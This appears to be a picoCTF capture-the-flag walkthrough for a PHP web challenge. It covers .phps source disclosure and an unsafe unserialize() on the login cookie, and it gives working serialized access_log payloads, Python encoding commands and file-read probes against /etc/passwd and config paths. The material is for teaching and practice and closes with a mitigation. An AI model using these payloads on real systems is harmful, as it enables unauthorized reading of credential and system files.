Description
Try to recover the flag from this PHP web application. Start with /robots.txt.
Setup
Probe common PHP paths and read /robots.txt for hints.
curl http://<server>/robots.txtcurl -I http://<server>/index.phpcurl -I http://<server>/cookie.phpcurl -I http://<server>/admin.phpSolution
Want to try it yourself first?
The guided walkthrough reveals hints one step at a time.
Step 1Discover source files via .phps extension
ObservationThe description says to start at /robots.txt, which will disclose sensitive paths. This is a PHP app, so once robots.txt points the way, a .phps source-disclosure misconfiguration is the natural next target.robots.txt typically lists Disallow: entries pointing at sensitive paths. Here it hints at .phps source-disclosure files. Request index.phps to see the source of index.php.bashcurl http://<server>/robots.txtbashcurl http://<server>/index.phpsbashcurl http://<server>/authentication.phpsWhat didn't work first
Tried: Request index.php.bak or index.php~ to find source disclosure instead of index.phps
Backup extensions like .bak, .old, and trailing tildes are a different misconfiguration from .phps. Apache's mod_php source-disclosure feature uses .phps specifically. The server returns 404 for backup suffixes unless someone left those files behind, so you burn time on paths that do not exist on a clean install.
Tried: Read robots.txt and assume the Disallow path is the flag location, then curl it directly
Disallow entries in robots.txt are crawl hints, not addresses with content behind them. The path listed here signals that .phps source disclosure is available, not that the flag lives at that URL. Curl it and you get HTML or a redirect to the login form.
Learn more
The .phps extension is an Apache configuration for serving PHP source code with syntax highlighting instead of executing it. When misconfigured, it exposes the entire source code of PHP applications. This is a common misconfiguration that attackers check early in web application recon. See web bug patterns for similar source-disclosure tricks.
Step 2Identify the unsafe unserialize() call
Observationauthentication.phps passes the login cookie straight to unserialize(), and it defines an access_log class whose __toString() reads a file. Together those are a classic PHP object-injection gadget chain.authentication.phps shows unserialize($_COOKIE['login']). The same file (or index.phps) defines an access_log class whose __toString() reads the file at $this->log_file. That pairing is a PHP object-injection gadget.Learn more
PHP object injection occurs when user-controlled data is passed to
unserialize(). The serialized format encodes the class name and properties of objects, so an attacker can craft a string that instantiates any class defined in the application with arbitrary property values.What triggers __toString(). The magic method runs whenever PHP needs the object as a string:
echo $obj;- String concatenation:
"hello " . $obj - Double-quoted interpolation:
"value: $obj" - Implicit cast in
strlen(),strpos(), comparison with a string, etc.
Other useful magic methods to grep for:
__destruct()(fires when the object is garbage-collected),__wakeup()(fires immediately on unserialize),__call()/__get()/__set()(property access).Step 3Craft the serialized access_log payload
Observationaccess_log keeps its target filename in log_file, and __toString() reads whatever that names. So hand-craft an O: serialization string with log_file set to ../flag, then deliver it base64- and URL-encoded in the login cookie.PHP serialization spells out byte counts: O:<len>:"<class>":<n>:{<props>}. Strings: s:<len>:"<value>";. For class access_log (10 chars) with one property log_file pointing at ../flag (7 chars): O:10:"access_log":1:{s:8:"log_file";s:7:"../flag";}.bash# Verify the path first with a known file:pythonpython3 <<'PY' import base64, urllib.parse payload = b'O:10:"access_log":1:{s:8:"log_file";s:11:"/etc/passwd";}' print(urllib.parse.quote(base64.b64encode(payload))) PYbashcurl http://<server>/authentication.php --cookie "login=<encoded>"bash# Then swap to the flag once the read primitive is confirmed:pythonpython3 <<'PY' import base64, urllib.parse payload = b'O:10:"access_log":1:{s:8:"log_file";s:7:"../flag";}' print(urllib.parse.quote(base64.b64encode(payload))) PYExpected output
picoCTF{th15_vu1n_1s_5up3r_53r1ous_y4ll_...}What didn't work first
Tried: Use PHP's serialize() in a local php -r one-liner to generate the payload automatically
Serializing a new access_log locally fails, because that class is not defined on your machine; it only exists on the server. You would have to copy the definition out of the .phps file, set the property, and serialize. Hand-crafting the O: string is faster, and it keeps the byte-count arithmetic visible so length mismatches are obvious.
Tried: Send the raw (non-base64-encoded) serialized string directly in the cookie header
Cookie values cannot carry unescaped semicolons, braces, or spaces, and PHP's serialization format uses all three. Send the raw string and the cookie parser truncates or rejects it, so unserialize() fails or receives a fragment. Base64-encode the payload to remove the special characters, then URL-encode that output to handle the padding.
Learn more
Byte format walkthrough. Decoding the payload field by field:
O:10:"access_log":1:{s:8:"log_file";s:7:"../flag";} O:10 -> Object whose class name is 10 bytes long "access_log" -> the class name (10 chars) :1: -> the object carries 1 property s:8:"log_file" -> property name: an 8-char string s:7:"../flag" -> property value: a 7-char string (the file to read)Why probe a known file first. If
../flagdoesn't resolve, the serialization parsed but the path was wrong, and you'll see no useful output and won't know which step failed. Probe with/etc/passwd(always present, distinctive output starting withroot:x:0:0:) to confirm the read primitive works, then switch to the flag path. Other useful candidates:/proc/self/cwd/flag,/var/www/html/flag.txt, the application's config file.Mitigation. Never call
unserialize()on user-supplied data. Use JSON for data exchange. If serialization is necessary, sign the blob with HMAC and reject unsigned input.
Flag
Reveal flag
picoCTF{th15_vu1n_1s_5up3r_53r1ous_y4ll_...}
PHP unserialize() on cookie data is a critical vulnerability: __toString runs when the object is used as a string, which the gadget class abuses for arbitrary file reads.